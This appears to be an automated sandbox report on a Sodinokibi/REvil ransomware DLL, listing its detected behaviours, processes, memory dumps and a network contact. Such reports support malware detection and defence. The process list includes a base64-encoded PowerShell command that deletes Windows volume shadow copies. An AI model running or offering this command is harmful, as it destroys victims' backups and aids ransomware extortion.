Analysis Overview
SHA256
15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312
Threat Level: Known bad
The file 15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312 was found to be: Known bad.
Malicious Activity Summary
Sodinokibi/Revil sample
Sodinokibi family
Enumerates connected drives
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-30 08:00
Signatures
Sodinokibi family
Sodinokibi/Revil sample
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-30 08:00
Reported
2022-01-30 08:04
Platform
win7-en-20211208
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\O: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\U: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\V: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\A: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\G: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\H: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\M: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\N: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\X: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\B: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\E: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\L: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\S: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Y: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\K: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\R: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\T: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\W: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Z: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\F: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\I: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\J: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\P: | C:\Windows\SysWOW64\rundll32.exe | N/A |
| File opened (read-only) | \??\Q: | C:\Windows\SysWOW64\rundll32.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\rundll32.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeBackupPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeRestorePrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
| Token: SeAuditPrivilege | N/A | C:\Windows\system32\vssvc.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
Files
memory/1968-54-0x0000000075D51000-0x0000000075D53000-memory.dmp
memory/664-55-0x000007FEFC501000-0x000007FEFC503000-memory.dmp
memory/664-57-0x0000000001F90000-0x0000000001F92000-memory.dmp
memory/664-58-0x0000000001F60000-0x0000000001F94000-memory.dmp
memory/664-59-0x0000000001F94000-0x0000000001F97000-memory.dmp
memory/664-56-0x000007FEF3890000-0x000007FEF43ED000-memory.dmp
memory/664-60-0x0000000001F9B000-0x0000000001FBA000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-30 08:00
Reported
2022-01-30 08:04
Platform
win10-en-20211208
Max time kernel
120s
Max time network
141s
Command Line
Signatures
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3912 wrote to memory of 3280 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3912 wrote to memory of 3280 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
| PID 3912 wrote to memory of 3280 | N/A | C:\Windows\system32\rundll32.exe | C:\Windows\SysWOW64\rundll32.exe |
Processes
C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\15a53543bd1b08ed96142ee57a133dabd82fcce3fefcf97a81cbbe7d6f9cf312.dll,#1
Network
| Country | Destination | Domain | Proto |
| NL | 104.110.191.133:80 | tcp |